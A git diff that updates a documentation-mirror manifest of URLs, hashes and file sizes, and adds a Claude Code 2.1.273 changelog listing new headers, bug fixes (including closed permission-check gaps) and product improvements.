"7a35917510b1f7f9fb2037df0d54d4b5c17e5c55d9547a9bc39ce98f2a8cebb7", + "size": 14523 }, { "url": "https://support.claude.com/en/articles/12902405-claude-in-chrome-troubleshooting", @@ -9585,8 +9592,8 @@ "url": "https://support.claude.com/en/articles/12902446-claude-in-chrome-permissions-guide", "status": "success", "path": "support/12902446-claude-in-chrome-permissions-guide.md", - "sha256": "06f11c03c59e0127db65f246ead70d50ab26c9d13413de7f2ccfc2f9cd3a0f37", - "size": 9565 + "sha256": "f7b8bba32e65a45f514ad7d3d77833f6d61d4e9ecd99b7130f5950fe2c9d9c1b", + "size": 9561 }, { "url": "https://support.claude.com/en/articles/12938627-how-to-gift-a-claude-subscription", @@ -9613,8 +9620,8 @@ "url": "https://support.claude.com/en/articles/12997503-team-plan-billing-faqs", "status": "success", "path": "support/12997503-team-plan-billing-faqs.md", - "sha256": "d7bd473ddc4d14e76980eed93d046468d685df175cb14c4d3ec98d6a7605e008", - "size": 4857 + "sha256": "fac1980f678b59c1105ae5d768d94c33c5eef77a0f5b4864ab5148b511614be1", + "size": 4853 }, { "url": "https://support.claude.com/en/articles/13015708-access-the-compliance-api", @@ -9627,8 +9634,8 @@ "url": "https://support.claude.com/en/articles/13047024-how-to-get-support-for-claude-for-government", "status": "success", "path": "support/13047024-how-to-get-support-for-claude-for-government.md", - "sha256": "0a1800b009017b6c25702834b45772f2fb4c02fac76d7ca4fe463498a5b2256f", - "size": 974 + "sha256": "601dc3dbcff8c74b39db3edee66fbbf7dc90b6e0931919cf058ef383ec506e0e", + "size": 971 }, { "url": "https://support.claude.com/en/articles/13065128-claude-in-chrome-admin-controls", @@ -9662,15 +9669,15 @@ "url": "https://support.claude.com/en/articles/13132885-set-up-single-sign-on-sso", "status": "success", "path": "support/13132885-set-up-single-sign-on-sso.md", - "sha256": "d07d2f2981b52206d8bf007298c463c64a0dc7d9e0e1ec0e67f2921cc71ec946", - "size": 13323 + "sha256": "62545e93e1b9982ceffd01f0bb79ba7979f8bb4e053feb7308b7a0368c361650", + "size": 13327 }, { "url": "https://support.claude.com/en/articles/13133195-set-up-jit-or-scim-provisioning", "status": "success", "path": "support/13133195-set-up-jit-or-scim-provisioning.md", - "sha256": "d65c68362b0b18f9e13c25b324bbbbafecbe60a1eefc97fc5f2f95f04be19fd3", - "size": 19693 + "sha256": "24d3be88b7a4daf09d571b6e5390d8c7873e27954e01b19597204d516742a9da", + "size": 19695 }, { "url": "https://support.claude.com/en/articles/13133750-manage-members-on-team-and-enterprise-plans", @@ -9697,8 +9704,8 @@ "url": "https://support.claude.com/en/articles/13163631-configuring-session-security-settings", "status": "success", "path": "support/13163631-configuring-session-security-settings.md", - "sha256": "fdbc2a271169f81a830feb84ea457f60c807e62c63c7085848b95d8795ff1172", - "size": 3704 + "sha256": "4a8ad0cb92822652a6f8a93d284e1c5a4fdf73224eb81ef33617dc2feb349038", + "size": 3708 }, { "url": "https://support.claude.com/en/articles/13171706-crisis-helpline-support-in-claude", @@ -9711,8 +9718,8 @@ "url": "https://support.claude.com/en/articles/13189465-log-in-to-your-claude-account", "status": "success", "path": "support/13189465-log-in-to-your-claude-account.md", - "sha256": "c00facb1393c9f0715ef687c2fd3cc9b9995ce6420a7c538848e831a1db6a09e", - "size": 7038 + "sha256": "651bf803d691725c824edacacc61a7d472b309e0ecdaa26577faf0e6f1eb45bf", + "size": 7036 }, { "url": "https://support.claude.com/en/articles/13198485-enforce-network-level-access-control-with-tenant-restrictions", @@ -9739,21 +9746,21 @@ "url": "https://support.claude.com/en/articles/13325567-account-management-faqs", "status": "success", "path": "support/13325567-account-management-faqs.md", - "sha256": "a336d55ca6d17a73adfa4d0e34ee9bbbfda5536df81fa4f03e08717e0d521a10", - "size": 2636 + "sha256": "70f8313a3034bce3d1039be9f2a05ad3007d5598a545b70b3cef0c465617273d", + "size": 2638 }, { "url": "https://support.claude.com/en/articles/13345190-get-started-with-claude-cowork", "status": "success", "path": "support/13345190-get-started-with-claude-cowork.md", - "sha256": "81c0470c234cd7c46ed8491c3db7397b854041e7d467da09774e01600a8cd7d4", - "size": 21514 + "sha256": "6ca31c78834c95a0814843c72c6f7f79e26f8f05f2fef1ba48faee3a6b0e2571", + "size": 21518 }, { "url": "https://support.claude.com/en/articles/13346458-customizing-your-console-appearance-settings", "status": "success", "path": "support/13346458-customizing-your-console-appearance-settings.md", - "sha256": "0dc23f7e0827044175133385532e937784e763213405dc9932d43f25c33b3496", + "sha256": "f2f7244230927259cdb7023811b04072653734944cc1efedd7c80fbde85fd10e", "size": 605 }, { @@ -9774,8 +9781,8 @@ "url": "https://support.claude.com/en/articles/13371040-log-in-to-your-console-account", "status": "success", "path": "support/13371040-log-in-to-your-console-account.md", - "sha256": "f4d965ab6199f78a87b111c8426bf97db0830d0cd8d2d17ecf25361b27da0695", - "size": 4613 + "sha256": "b351a0c63af04997f2b03a09f3c31f0c06aeb5195b7e4418840bea6670e41d3d", + "size": 4615 }, { "url": "https://support.claude.com/en/articles/13393991-purchase-and-manage-seats-on-enterprise-plans", @@ -9830,7 +9837,7 @@ "url": "https://support.claude.com/en/articles/13641943-visual-and-interactive-content", "status": "success", "path": "support/13641943-visual-and-interactive-content.md", - "sha256": "dbffbbe96fde61b7ba805940fc42d59347aedbf79fa0ecf0f7df227285705a4e", + "sha256": "4855ecf7f2ed6ae092001fb9ccf7c368bdecc53782878994c53f424b4ee19c39", "size": 6517 }, { @@ -9858,8 +9865,8 @@ "url": "https://support.claude.com/en/articles/13756069-public-sector-faqs", "status": "success", "path": "support/13756069-public-sector-faqs.md", - "sha256": "1f1c10a8e0e027358bf5fc0ab5615bb5c1bfb19f736ef543dd880820bfb69184", - "size": 8380 + "sha256": "f51e780fdf207a363f5680c34a6d09eebeb295fe15b06dd3c87615994ae860c0", + "size": 8376 }, { "url": "https://support.claude.com/en/articles/13776697-join-an-organization-via-invite-link", @@ -9886,8 +9893,8 @@ "url": "https://support.claude.com/en/articles/13837433-manage-plugins-for-your-organization", "status": "success", "path": "support/13837433-manage-plugins-for-your-organization.md", - "sha256": "2bcb776e95da38dacb2fa8b0d28641134215bd3899df69acf102ebff1e8020ed", - "size": 21285 + "sha256": "7e134a152ca7da0da2cdcd4e696bf122bcc0dd6ee88e791aef2a3dabae9274e6", + "size": 21287 }, { "url": "https://support.claude.com/en/articles/13837440-use-plugins-in-claude", @@ -9900,7 +9907,7 @@ "url": "https://support.claude.com/en/articles/13854387-schedule-recurring-tasks-in-claude-cowork", "status": "success", "path": "support/13854387-schedule-recurring-tasks-in-claude-cowork.md", - "sha256": "56fcc0157e67f999dbcaf0cd19336e42d43994fcf9380189e4975f4859f9323e", + "sha256": "40f44778ac81dd3cc87de5f80f03cb3121d1ec9b34b275841d88c0975b77e26f", "size": 4747 }, { @@ -9991,8 +9998,8 @@ "url": "https://support.claude.com/en/articles/13947068-assign-tasks-from-anywhere-in-claude-cowork", "status": "success", "path": "support/13947068-assign-tasks-from-anywhere-in-claude-cowork.md", - "sha256": "fd3f0f2ddec8977104c24397e4eab0f5fc337f8bdf8cf94e0baa9d096c5e8ef2", - "size": 8524 + "sha256": "2377c8f851a2ffdcde98a31fe562ecac46c98f92efbb1abb0fbe80857b3db42e", + "size": 8522 }, { "url": "https://support.claude.com/en/articles/13979539-custom-visuals-in-chat-and-cowork", @@ -10012,8 +10019,8 @@ "url": "https://support.claude.com/en/articles/14116274-organize-your-tasks-with-projects-in-claude-cowork", "status": "success", "path": "support/14116274-organize-your-tasks-with-projects-in-claude-cowork.md", - "sha256": "1153c2abfc6fb1c7fadfd58e7129b8337f63f632cbcf82ef24ec94633549935c", - "size": 6275 + "sha256": "72a62a4492da809b2499e2bbca883831265e79890703493a9e6e2dbb33d6cda6", + "size": 6263 }, { "url": "https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork", @@ -10082,8 +10089,8 @@ "url": "https://support.claude.com/en/articles/14499648-how-scim-sync-works-for-enterprise-organizations", "status": "success", "path": "support/14499648-how-scim-sync-works-for-enterprise-organizations.md", - "sha256": "7e088f6ead927a3c332c4d7b07ef97c3c8349c571f305d99fd9ef084d94f53f0", - "size": 7676 + "sha256": "fe1a23d17d018fc60f34cb85cd5ca7cf95f5e2aaa6169c0511c301ed3c633328", + "size": 7670 }, { "url": "https://support.claude.com/en/articles/14503520-available-beta-and-research-preview-features", @@ -10103,14 +10110,14 @@ "url": "https://support.claude.com/en/articles/14503613-sso-login", "status": "success", "path": "support/14503613-sso-login.md", - "sha256": "b4061d3d213c54e12329577c187d1ab54aa995d0c63bbed88bd68e139a86c4e5", - "size": 6688 + "sha256": "0bcd6201065b0868c4e0780c1ff7241a0c198b6a50b144f40a687f77b642333a", + "size": 6696 }, { "url": "https://support.claude.com/en/articles/14503643-set-up-scim-in-claude-for-government", "status": "success", "path": "support/14503643-set-up-scim-in-claude-for-government.md", - "sha256": "b230466a5de3e0da64f38846204b0eb1f9922e4bf076ab5476484ff1d74f7dc9", + "sha256": "03787ee8a70f1e63a9266f2b9582ebd08fbce0f73b5da8e1a32c8f76d23b0b7c", "size": 6425 }, { @@ -10138,7 +10145,7 @@ "url": "https://support.claude.com/en/articles/14503775-mcp-web-search", "status": "success", "path": "support/14503775-mcp-web-search.md", - "sha256": "fc6614e8f5d8cd5b8db8425dd73d156e8afd74c5f2e6333ce259d3c970dada8f", + "sha256": "162b9c38159ee4b5919d067e8455c2024e671c4294f0763a2dc956eb025ac6be", "size": 4675 }, { @@ -10236,22 +10243,22 @@ "url": "https://support.claude.com/en/articles/14604397-set-up-your-design-system-in-claude-design", "status": "success", "path": "support/14604397-set-up-your-design-system-in-claude-design.md", - "sha256": "85b1115536c496694cffcf1452d9841a22f6280db9e8480fe91acec8ae143784", - "size": 4398 + "sha256": "114347fedc918ac4832f009ab06c7a42a218f0d9177f4da851d308b372606845", + "size": 4394 }, { "url": "https://support.claude.com/en/articles/14604406-claude-design-admin-guide-for-team-and-enterprise-plans", "status": "success", "path": "support/14604406-claude-design-admin-guide-for-team-and-enterprise-plans.md", - "sha256": "8111cee7216eb7ae7ad5f2d68b74c79074549f0afca17224cb4d12a6f3031011", - "size": 12733 + "sha256": "a5c95ae0160ca556c7f20188a7504bfee243221673bcf209da6ad994418b003b", + "size": 12735 }, { "url": "https://support.claude.com/en/articles/14604416-get-started-with-claude-design", "status": "success", "path": "support/14604416-get-started-with-claude-design.md", - "sha256": "c8d97bdf3e9c2cc0cd6346cb816a86daac6c64fe63db820f811882315281c9e7", - "size": 11132 + "sha256": "ee830ddba630248349b80802edf83600961e3fe03c74ca54b2db7d69797f0995", + "size": 11136 }, { "url": "https://support.claude.com/en/articles/14604842-real-time-cyber-safeguards-on-claude-opus-and-sonnet", @@ -10376,8 +10383,8 @@ "url": "https://support.claude.com/en/articles/15330088-set-a-default-model-for-your-organization", "status": "success", "path": "support/15330088-set-a-default-model-for-your-organization.md", - "sha256": "dd11cdbe618e37de252582f507825837d9823fb2ba78e9c34a099a322abe3f04", - "size": 7772 + "sha256": "d267035d34fa900a657ef0fea247b051ab2fd6ae6ae64e228dd1c5c89dee0fff", + "size": 7774 }, { "url": "https://support.claude.com/en/articles/15330651-claude-enterprise-admin-api-reference-guide", @@ -10488,8 +10495,8 @@ "url": "https://support.claude.com/en/articles/15694740-manage-model-access-for-your-organization", "status": "success", "path": "support/15694740-manage-model-access-for-your-organization.md", - "sha256": "c603125f4e02f9137929a154e76e25847cf5e4167649262aa64cc93cb56a3ccf", - "size": 10149 + "sha256": "864ae1d9b5c1475d239da1314e7094bd9daee1e49625487bcf4ff00c6875d746", + "size": 10137 }, { "url": "https://support.claude.com/en/articles/15707726-using-claude-for-legal-work-privilege-confidentiality-and-how-to-think-about-configuration", @@ -10523,8 +10530,8 @@ "url": "https://support.claude.com/en/articles/15936181-get-started-with-1password-for-claude", "status": "success", "path": "support/15936181-get-started-with-1password-for-claude.md", - "sha256": "1f6fcfed2d006aeb71eb63480b5b1da2e77bce4df050b84db30df78816217ccb", - "size": 5056 + "sha256": "bc4504c6cd628bdf664d9618853c7f1ad255d32703b41e499c6d6cf6cae82054", + "size": 5060 }, { "url": "https://support.claude.com/en/articles/16049681-why-claude-switched-models-in-your-conversation-with-opus-5", @@ -10572,8 +10579,8 @@ "url": "https://support.claude.com/en/articles/16607638-understanding-your-pro-or-max-plan-invoices", "status": "success", "path": "support/16607638-understanding-your-pro-or-max-plan-invoices.md", - "sha256": "a7c5765f6111d01a8606ae2263bb6cddac5de497b067117540457f268fc0169b", - "size": 5439 + "sha256": "5a380893757384bf468a4e96bca57797cd5d9b36b717833f220ce47fb8baedc7", + "size": 5435 }, { "url": "https://support.claude.com/en/articles/16607668-understanding-your-team-plan-invoices", @@ -10635,8 +10642,8 @@ "url": "https://support.claude.com/en/articles/16764810-assign-a-program-to-workspaces-in-claude-console", "status": "success", "path": "support/16764810-assign-a-program-to-workspaces-in-claude-console.md", - "sha256": "c356b2ccacedd73ff0fa4da21853b4d5ddae92702b20690e19544dc72c3348b2", - "size": 5103 + "sha256": "4d1d97cb8b45fc02c3dc054c03210c996c471d55ebec8eea143c19017c5ab2fe", + "size": 5107 }, { "url": "https://support.claude.com/en/articles/16824617-turn-on-data-retention-for-a-workspace-in-a-zero-data-retention-organization", @@ -10677,8 +10684,8 @@ "url": "https://claude.com/docs/claude-science/admin-controls", "status": "success", "path": "claude/claude-science/admin-controls.md", - "sha256": "5e3d69aec2e37664fb045a2f9d04dea93504345f7d32f1048dc3e9f5ec6d44f6", - "size": 58290 + "sha256": "2c6ece892a95b3358dd33e98689442386474c181a4eae989745f76fe9a680fc8", + "size": 58544 }, { "url": "https://claude.com/docs/claude-science/artifacts", @@ -10782,8 +10789,8 @@ "url": "https://claude.com/docs/claude-science/how-claude-science-works-with-your-data", "status": "success", "path": "claude/claude-science/how-claude-science-works-with-your-data.md", - "sha256": "e0226c7ee51f955e6e819a61ee2afec676b891189a060aead3127451fd37e72d", - "size": 8822 + "sha256": "c3873b00c95e813c9e8751ed61ba3ed5d6242ff88570769b3f9fbcf14b46368f", + "size": 12459 }, { "url": "https://claude.com/docs/claude-science/legal-and-compliance", @@ -11097,8 +11104,8 @@ "url": "https://claude.com/docs/claude-tag/admins/for-slack-admins", "status": "success", "path": "claude/claude-tag/admins/for-slack-admins.md", - "sha256": "e8ac53a332e01a42692046a192b46606f127fe22afec839e85639cb46b5f869e", - "size": 5199 + "sha256": "d437560d3c10781d34cc0375d22d469b5db1fcbffe2594c0aa989b82ff7368d1", + "size": 5519 }, { "url": "https://claude.com/docs/claude-tag/admins/healthcare", @@ -11125,8 +11132,8 @@ "url": "https://claude.com/docs/claude-tag/admins/restrict-access", "status": "success", "path": "claude/claude-tag/admins/restrict-access.md", - "sha256": "b487de282ba0a5c2379637bc810b4279fc447f1b9d16798de770d0fcd6d01b31", - "size": 44352 + "sha256": "3885bfc1cdf0168e41ff85b6421c095a5601d6840a3e6fad0702620b321aa73d", + "size": 49751 }, { "url": "https://claude.com/docs/claude-tag/admins/set-spend-limit", @@ -11209,8 +11216,8 @@ "url": "https://claude.com/docs/claude-tag/concepts/security-and-data", "status": "success", "path": "claude/claude-tag/concepts/security-and-data.md", - "sha256": "6d66a104a59e26c7a0191653c2130f136365c69e9ad84e677575b608c4a409ac", - "size": 17636 + "sha256": "6f02867419a38f498e1164d56b801e1f203b13545379a9578b7b0a84a1b49af0", + "size": 17785 }, { "url": "https://claude.com/docs/claude-tag/concepts/settings-map", @@ -11244,8 +11251,8 @@ "url": "https://claude.com/docs/claude-tag/users/good-habits", "status": "success", "path": "claude/claude-tag/users/good-habits.md", - "sha256": "3e2baf55e486b559d768c9cd4665bebeccd97a925763dc9e017e16f1631565ae", - "size": 21002 + "sha256": "f141dd34531f578cfb4a5348d8d5cbad683e372c9b3e37dbcd8b8e5e2e5eb10a", + "size": 21333 }, { "url": "https://claude.com/docs/claude-tag/users/memory", @@ -11279,8 +11286,8 @@ "url": "https://claude.com/docs/claude-tag/users/troubleshooting", "status": "success", "path": "claude/claude-tag/users/troubleshooting.md", - "sha256": "e39f1f2dacdede6aca506b7401dcbd2526cfa74a5dca45f509c67a9968549434", - "size": 36965 + "sha256": "cf3e3bf04a7bccdb3f771699052df8e25439065aef0bd50dc3c403a9cb17d384", + "size": 38048 }, { "url": "https://claude.com/docs/claude-tag/users/use-cases", @@ -11384,8 +11391,8 @@ "url": "https://claude.com/docs/claude-tag/users/when-claude-responds", "status": "success", "path": "claude/claude-tag/users/when-claude-responds.md", - "sha256": "47c9c245d8e829e70c3ce13a57abfdf925292a8260d16d6c60438502303abdeb", - "size": 15998 + "sha256": "1ee6dd7292f4de2d148235afded8fa32edd254dac6cef0bd4fb5af3b82774ad4", + "size": 16352 }, { "url": "https://claude.com/docs/connectors/building/after-publishing", @@ -12308,43 +12315,43 @@ "url": "https://code.claude.com/docs/en/desktop-changelog", "status": "success", "path": "en/docs/claude-code/desktop-changelog.md", - "sha256": "e952ca6192f0f72769ad66abfb7248c6a41dd37bdf15e7f858668e49267b0634", - "size": 102707 + "sha256": "064076610de69afe4355b77044c6f9e0c91160e0bfb39523631fd3dc9bdc9d30", + "size": 102724 }, { "url": "https://code.claude.com/docs/en/slash-commands", "status": "success", "path": "en/docs/claude-code/slash-commands.md", - "sha256": "41d2fa0c7cd609fc74cf6a1c2ba78b8e9a229a95e2593a22a15acac53ef125d1", - "size": 112921 + "sha256": "65f3aa018bed65ecd4f39dc500a369cd7556ae497967f395f70595f5a2a62464", + "size": 113687 }, { "url": "https://code.claude.com/docs/en/web-scheduled-tasks", "status": "success", "path": "en/docs/claude-code/web-scheduled-tasks.md", - "sha256": "58c1526fa9b251f49a825d2006c13838445e1a0cdc0d6eda817c1282420f482b", - "size": 33219 + "sha256": "a5ba235d5a3f1db6206c0198299d2062f88e9836e3d83b41f2b03924e991f820", + "size": 33444 }, { "url": "https://code.claude.com/docs/en/ultraplan", "status": "success", "path": "en/docs/claude-code/ultraplan.md", - "sha256": "331d77a6b615aeb7b31b37211ce9017b5ca4aa8b297996cf999493485511bc14", - "size": 1034 + "sha256": "140170a1baf128531aa98be28c5b8592440969cd386a21ab5707def73354aabd", + "size": 1050 }, { "url": "https://code.claude.com/docs/en/iam", "status": "success", "path": "en/docs/claude-code/iam.md", - "sha256": "bc13c9047347984331089d48131aad67521a14f418acb4aab9ce31afe585fdd4", - "size": 29347 + "sha256": "9505ac4d159739837c481d3e9bed18cd7a4ca7332f626264f5dd067a633e66ee", + "size": 29336 }, { "url": "https://code.claude.com/docs/en/agent-sdk/slash-commands", "status": "success", "path": "en/docs/claude-code/agent-sdk/slash-commands.md", - "sha256": "a7027fa28304e8a2c44ab86a09b061b4ea235186568b9e99d59d0357afae8e78", - "size": 26860 + "sha256": "367d6194fc6145c1ff77c583c7bd375f7830f42655350628df6b60fd9c32c482", + "size": 26863 }, { "url": "https://platform.claude.com/docs/en/api/java/completions", @@ -23319,8 +23326,8 @@ "url": "https://raw.githubusercontent.com/anthropics/claude-plugins-official/main/.claude-plugin/marketplace.json", "status": "success", "path": "github/claude-plugins-official/.claude-plugin/marketplace.json", - "sha256": "500f0f2684d2e56e42dd0026085748e165485df6720707e99f4c3e282ac985b6", - "size": 176307 + "sha256": "7b7dae88fa34d56a201367c85efa63f0fd9f8f3e3db7307696dd7fcfb4631283", + "size": 176457 }, { "url": "https://raw.githubusercontent.com/anthropics/claude-plugins-official/main/.github/bump-tracking.json", @@ -25986,8 +25993,8 @@ "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/README.md", "status": "success", "path": "github/claude-quickstarts/README.md", - "sha256": "99d8e80a0a5b82b880bcfb037439039495ea31922050cdbfca275e19c5f59849", - "size": 5831 + "sha256": "bcb8f5071ca1b4e739c8eb1028ba8981e040791779a7d9df63ada1926f9e4f98", + "size": 6739 }, { "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/agents/README.md", @@ -26091,8 +26098,8 @@ "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/README.md", "status": "success", "path": "github/claude-quickstarts/managed-agents/README.md", - "sha256": "6c8d901d619b40e9a6adcf68e15728f303ce6131562cbcf3f09f3b2cd973e8f1", - "size": 3207 + "sha256": "cdfaac934d4a4ca72067be9f3da4ed8567053c92c171f1b3f92eb16e18076d9b", + "size": 4013 }, { "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/assistant-ui/CLAUDE.md", @@ -26220,6 +26227,48 @@ "sha256": "4acdf83496d8c17f6f1ac6a52c9113e80c65cea982e43d35f04286822a533bbe", "size": 3768 }, + { + "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/sentry/CLAUDE.md", + "status": "success", + "path": "github/claude-quickstarts/managed-agents/sentry/CLAUDE.md", + "sha256": "36762f75d594ce8cbefd00ca0aeb8d5ee8a339906d7df88595be3d341639eafb", + "size": 2485 + }, + { + "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/sentry/README.md", + "status": "success", + "path": "github/claude-quickstarts/managed-agents/sentry/README.md", + "sha256": "f61f1b114297731190e2aea011e4a681f0d05e88b6f64fff4bdb0e892235a43b", + "size": 3090 + }, + { + "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/sentry/skill.md", + "status": "success", + "path": "github/claude-quickstarts/managed-agents/sentry/skill.md", + "sha256": "70d8a690d881ceee3131693ae0f44fed4e9b4b6e8f8fce7a3f0833c9cdcb7d73", + "size": 10462 + }, + { + "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/slack/CLAUDE.md", + "status": "success", + "path": "github/claude-quickstarts/managed-agents/slack/CLAUDE.md", + "sha256": "d9be56213e6d3f854d85bb2c9c6672cbb84f3658bdfa6ae9cc8bf0ccf67861e4", + "size": 2510 + }, + { + "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/slack/README.md", + "status": "success", + "path": "github/claude-quickstarts/managed-agents/slack/README.md", + "sha256": "01689aa08b7dcf181c9330899dfe517dec3eb2ef370707f95881fa76bfd8c14c", + "size": 2485 + }, + { + "url": "https://raw.githubusercontent.com/anthropics/claude-quickstarts/main/managed-agents/slack/skill.md", + "status": "success", + "path": "github/claude-quickstarts/managed-agents/slack/skill.md", + "sha256": "692f7a0056f6ea1574c30eff757dd9e22a090585955593b5efad28db3f22b66e", + "size": 9013 + }, { "url": "https://raw.githubusercontent.com/anthropics/claude-code-action/main/.claude/agents/code-quality-reviewer.md", "status": "success", @@ -28042,8 +28091,8 @@ } ], "summary": { - "total": 4107, - "downloaded": 3868, + "total": 4114, + "downloaded": 3875, "skipped": 0, "failed": 0, "dead": 239, diff --git a/content/CHANGELOG.md b/content/CHANGELOG.md index 62e075d974..b2323fc0b4 100644 --- a/content/CHANGELOG.md +++ b/content/CHANGELOG.md @@ -1,5 +1,72 @@ # Changelog +## 2.1.273 + +- Added `x-claude-code-request-class`, `x-claude-code-agent-type`, `x-claude-code-prev-tool-durations`, `x-claude-code-compaction` and `x-claude-code-context-compacted` request headers for LLM gateways; opt in with `CLAUDE_CODE_GATEWAY_HINT_HEADERS=1` +- Added a notification when an MCP server disconnects mid-session and automatic reconnection gives up, pointing at `/mcp` +- Added forking a session started with `claude --remote-control` or `/remote-control` from the Claude app; the fork runs as a background session on your computer +- Fixed Bash commands the permission checker cannot fully analyze skipping the prompt under `permissions.blockReadsOutsideWorkingDirectories`, and a subshell hiding a dangerous `rm` in bypass mode +- Fixed skills synced from claude.ai staying available after your organization turns Skills off; they now move to the recoverable trash +- Fixed `allowManagedMcpServersOnly`, `deniedMcpServers` and `disableClaudeAiConnectors` set via MDM or `managed-settings.json` being ignored when server-managed settings are also present +- Fixed 401/403 errors on Bedrock, Vertex and Foundry, and Claude apps gateway 403s, telling you to run `/login`; the message now names the credential to refresh or points to your gateway administrator +- Fixed `/login`, `/upgrade`, and `/extra-usage` discarding earlier thinking from the conversation, which forced a full prompt-cache rewrite on the next request +- Fixed auto mode stopping for approval when the Artifact tool uploads a file you attached to the chat in a cloud or Remote Control session +- Fixed a long-running session recreating a stub `.git/info/exclude` after the repository's `.git` directory was removed or moved away +- Fixed the main prompt dropping a `!` typed at the start while already in shell mode, so negated commands like `! grep …` can be typed +- Fixed Read on macOS refusing a dragged-in screenshot, or any file the system reports under a second path, with "symlink resolution changed after permission was checked" +- Fixed `permissions.blockReadsOutsideWorkingDirectories`: a memory directory chosen by a repository's settings is no longer loaded into the prompt, recalled, indexed, or used by memory extraction +- Fixed sub-agents and background agents being reported as failed, with their result never delivered, when the final streamed reply omitted token usage or carried no model id +- Fixed the context meter and auto-compact counting advisor-tool turns at roughly twice their real context size, which made auto-compact fire at about half the real window +- Fixed `/tui` refusing to restart because of an agent-team teammate that had already finished its work and was no longer shown in the agents panel +- Fixed saved scheduled tasks running in the wrong session after `.claude/scheduled_tasks.json` was copied into another folder, such as a new worktree +- Fixed SDK and `--output-format stream-json` output dropping a subagent's remaining messages and final report after it is moved to the background mid-run (e.g. by `CLAUDE_AUTO_BACKGROUND_TASKS`) +- Fixed `/install-github-app` reporting a SAML single sign-on block as "admin permissions required" +- Fixed Remote Control clients attached to a Claude Desktop, VS Code or JetBrains session being refused when they ask for the session's context window usage +- Fixed the spinner showing a doubled ellipsis ("……") on compaction status lines such as "Running PreCompact hooks…" +- Fixed a false-positive spinner tip suggesting the frontend-design plugin after reading or publishing Artifacts +- Reverted a 2.1.268 change that checked Read and Edit deny rules on Bash lines the permission checker can't analyze (`eval`, `env -C`); commands like `time -p make build` prompt again instead of being denied +- Improved responsiveness in long sessions: hook progress and sub-agent activity no longer re-process the whole conversation on every update +- Improved the Artifact tool's error when a publish includes a file type artifacts don't serve: Claude is told which types are served and what to do instead, and the terminal shows one plain line +- Improved the Artifact tool's page read to state the capabilities and database rules the artifact service holds for the page, for anyone who can publish to it +- Improved artifact database writes: an update can now remove a single field instead of rewriting the whole document +- Improved artifact publishing: a publish whose connection drops after reaching claude.ai is now re-sent safely instead of failing or creating a duplicate version +- Improved the cloud-session GitHub error for an IP allow list, a suspended app installation or SAML single sign-on to show the cause instead of a generic install hint +- Improved `/autofix-pr`: when `gh pr view` fails it now shows gh's own error (sign-in, SAML, rate limit) instead of a generic exit-code line +- Improved `/autofix-pr` to say why GitHub webhook delivery couldn't be set up for the PR (for example, no linked GitHub account) instead of a generic warning +- Improved `/web-setup` errors: a refused GitHub token now lists the likely reasons and the fix, and a connection failure names a configured proxy or TLS certificate problem +- Improved the in-session SSL certificate and proxy connection errors to name the error code and what to fix, such as `NODE_EXTRA_CA_CERTS` for an untrusted corporate CA +- Improved the error when a cloud session can't be created because your Claude login expired or was revoked: it now tells you to run `/login` +- Improved the error shown when an MCP server's sign-in expires mid-session to say how to re-authenticate (`/mcp`) +- Changed auto mode on Bedrock, Vertex and Foundry to use the local classifier by default for now; set `CLAUDE_CODE_AUTO_MODE_SERVER=1` to use the platform's server-side classifier +- Changed `OTEL_LOG_TOOL_DETAILS=1` to also include real agent, skill, plugin and MCP server names on cost and token metrics +- Changed sign-in with a Claude account to also request access to your claude.ai plugins +- Changed `/bug` and `/feedback` reports to include only model-behavior params (model, system prompt, tools) from the last API request, omitting request metadata and `CLAUDE_CODE_EXTRA_BODY` fields +- [VSCode] Fixed "Report a problem" still appearing, and `/bug` / `/feedback` opening a report form, for organizations that have product feedback disabled +- [VSCode] Fixed a red "Claude Code process exited with code 4294967295" banner appearing after completed turns on Windows +- Windows: Improved the network-path permission check for UNC paths when a mapped network drive was added with `--add-dir` +- [Claude Code on the web] Fixed routines losing access to an organization connector, and still calling the old one, after an admin removed and re-added that connector +- [Claude Code on the web] Fixed creating a self-hosted environment from organization settings occasionally failing with a server error and leaving a half-created environment behind +- [Claude Code on the web] Changed the admin "Share cloud sessions" setting to live under Data and privacy instead of the Claude Code page, where Data and privacy admins can also manage it +- [Claude Code on the web] Added a "Discard unsaved changes?" confirmation before the New routine page or the Edit routine dialog throws away a routine name, prompt or edit you typed +- [Claude Code on the web] Removed the full-page desktop-app download screen that new users without a cloud environment saw on Mac and Windows; they now go straight to setup +- [Claude Code on the web] Improved the routine detail page: menu and rename in the breadcrumb, the on/off switch and Run now at the top, and run history beside the routine's settings +- [Claude Tag] Fixed Claude going silent minutes after reinstalling the app when an Enterprise Grid was disconnected but one of its workspaces stayed connected +- [Claude Tag] Fixed scheduled tasks set up in an organization-shared private Slack channel silently never posting; they now keep running in the thread they were created in +- [Claude Tag] Fixed replying in an older Slack thread while Claude is mid-task sometimes restarting it from scratch and losing work it had not pushed yet +- [Claude Tag] Fixed Claude occasionally dropping a message with an incorrect "couldn't find a Claude Code environment" notice right after your account token refreshed +- [Claude Tag] Fixed AWS connections refusing region-less endpoints such as Budgets, Savings Plans, WAF Classic and Import/Export; Global Accelerator requests now sign correctly +- [Claude Tag] Improved AWS connection failures: when a request can't be signed, such as a hostname with no region, Claude is told why and how to fix it instead of a bare error +- [Claude Tag] Fixed OAuth client-credentials and JWT-bearer connections failing with providers that return a lowercase token type; requests now send the standard Bearer scheme +- [Claude Tag] Fixed adding a channel manager being refused on Enterprise Grid shared channels, on channels where Claude hasn't been used yet, and on legacy private channels +- [Claude Tag] Changed Claude to start watching related public channels on its own, such as an incident channel a conversation depends on, instead of only when asked +- [Claude Tag] Fixed the admin Memory page not listing Slack channels Claude set up on its own even when they had saved memory; admins can now open, edit and delete that memory +- [Code Review] Fixed merging the base branch into a PR whose earlier review listed "Additional findings" triggering a full re-review; these pushes now get the lighter follow-up review +- [Code Review] Fixed a whole REVIEW.md being ignored because of an @-mention, a code span wrapped across lines, or a backticked HTML tag; only lines linking to changed files are withheld 